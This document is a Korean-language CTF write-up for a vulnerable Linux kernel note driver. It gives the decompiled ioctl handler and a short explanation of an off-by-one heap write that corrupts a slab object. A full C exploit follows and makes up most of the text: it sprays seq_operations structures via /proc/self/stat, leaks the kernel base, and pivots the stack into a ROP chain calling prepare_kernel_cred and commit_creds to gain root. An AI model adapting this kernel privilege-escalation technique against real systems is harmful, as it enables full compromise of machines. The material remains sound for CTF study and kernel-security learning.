Analysis
signed __int64 __fastcall mod_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
unsigned int v3; // ebx
__int64 v4; // rsi
unsigned int v6; // [rsp+0h] [rbp-18h]
__int64 v7; // [rsp+8h] [rbp-10h]
v3 = a2;
v4 = a3;
if ( copy_from_user(&v6, a3, 16LL) )
return -14LL;
if ( v6 <= 0x80 )
{
mutex_lock(&_mutex);
if ( v3 == 0xC12ED002 )
{
if ( !note )
{
LABEL_10:
mutex_unlock(&_mutex);
return -22LL;
}
kfree(note, v4);
*(¬e + 0x20000000) = 0LL;
}
else if ( v3 <= 0xC12ED002 )
{
if ( v3 != 0xC12ED001 )
goto LABEL_10;
if ( note )
kfree(note, v4);
size = v6;
note = _kmalloc(v6, 0x6080C0LL);
if ( !note )
goto LABEL_10;
}
else if ( v3 == 0xC12ED003 )
{
if ( !note || v6 > size || copy_from_user(note, v7, v6) )
goto LABEL_10;
note[v6] = 0;
}
else if ( v3 != 0xC12ED004 || !note || v6 > size || copy_to_user(v7) )
{
goto LABEL_10;
}
mutex_unlock(&_mutex);
return 0LL;
}
return -22LL;
}
edit할 때 off by one이 heap에서 발생합니다
커널에서는 메모리 관리는 ptmalloc이 아니라 다른방식으로 하는데, 특히 여기서 slab, slub등의 메모리 할당방식을 사용합니다. (쉽게 생각하면 fd임)
여기서 off by one이 발생해서 free slab object의 한바이트를 NULL로 바꾸게되면 재밌는 일이 일어납니다.
이런느낌? 입니다.
익스플로잇은 seq_operation
으로 합니다.
/proc/self/stat
를 open할 때 커널에서 seq_operation
를 힙에 할당하는데, 이걸 힙쪽에 할당시켜놓고 함수포인터를 변조시키면 read
등을 시도할 때 원하는 함수를 실행할 수 있습니다.
Exploit
typedef struct _Arg{
unsigned long long size;
char *buf;
} Arg;
Arg user;
int fd;
unsigned long long user_cs, user_ss, user_eflags, user_sp;
void save_tf()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"pushf;"
"pop user_eflags;"
);
}
void shell()
{
char flag[0x30] = {0,};
int fd = open("/flag",O_RDONLY);
read(fd,flag,0x30);
write(1,flag,0x30);
}
int add_note(unsigned long long size)
{
user.size = size;
return ioctl(fd, ADD, &user);
}
int del_note()
{
return ioctl(fd, DEL, &user);
}
int edit_note(unsigned long long size, char *buf)
{
user.size = size;
user.buf = buf;
return ioctl(fd, EDIT, &user);
}
int view_note(unsigned long long size, char *buf)
{
user.size = size;
user.buf = buf;
return ioctl(fd, VIEW, &user);
}
int main()
{
save_tf();
char *laterstack = calloc(1,0x10000);
user_sp = laterstack + 0x8000;
fd = open("/dev/note", O_RDWR);
if (fd < 0)
{
puts("failed to open ko");
exit(-1);
}
char *tmp = calloc(1, 0x2000);
char *payload = calloc(1, 0x100);
memset(payload, 0x41, 0x20);
for(int i = 0; i < 6; i++)
open("/proc/self/stat",O_RDONLY);
add_note(0x20);
edit_note(0x20,payload);
open("/proc/self/stat",O_RDONLY);
int victim = open("/proc/self/stat",O_RDONLY);
view_note(0x20,tmp);
unsigned long long leak[4] = {0,};
memcpy(leak,tmp,sizeof(leak));
unsigned long long base = leak[0] - 0x13be60;
unsigned long long xchg = base + 0x02ce8f;
unsigned long long rdi = base + 0x22dd4b;
unsigned long long mov_rdi_rax = base + 0x21f8fc;
unsigned long long swapgs = base + 0x3ef24;
unsigned long long iretq = base + 0x600ae7;
unsigned long long commit_creds = base + 0x69c10;
unsigned long long prepare_kernel_cred = base + 0x69e00;
printf("[+] leak kernel address : %p\n",leak[0]);
printf("[+] leak kenrel base address : %p\n",base);
printf("[+] xchg : %p\n",xchg);
getchar();
unsigned long long rop[] = {
rdi,
0,
0,
prepare_kernel_cred,
mov_rdi_rax,
0x4141414141414141,
commit_creds,
swapgs,
0x4242424242424242,
iretq,
&shell,
user_cs,
user_eflags,
user_sp,
user_ss
};
unsigned long long trigger[] = {
xchg,
xchg,
xchg,
xchg
};
unsigned long long *stack = mmap(xchg & 0xfffff000 - 0x2000, 0x5000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
printf("[+] fake stack : 0x%llx\n",stack);
memcpy(xchg & 0xffffffff,rop,sizeof(rop));
edit_note(0x20,trigger);
read(victim,tmp,0x1);
return 0;
}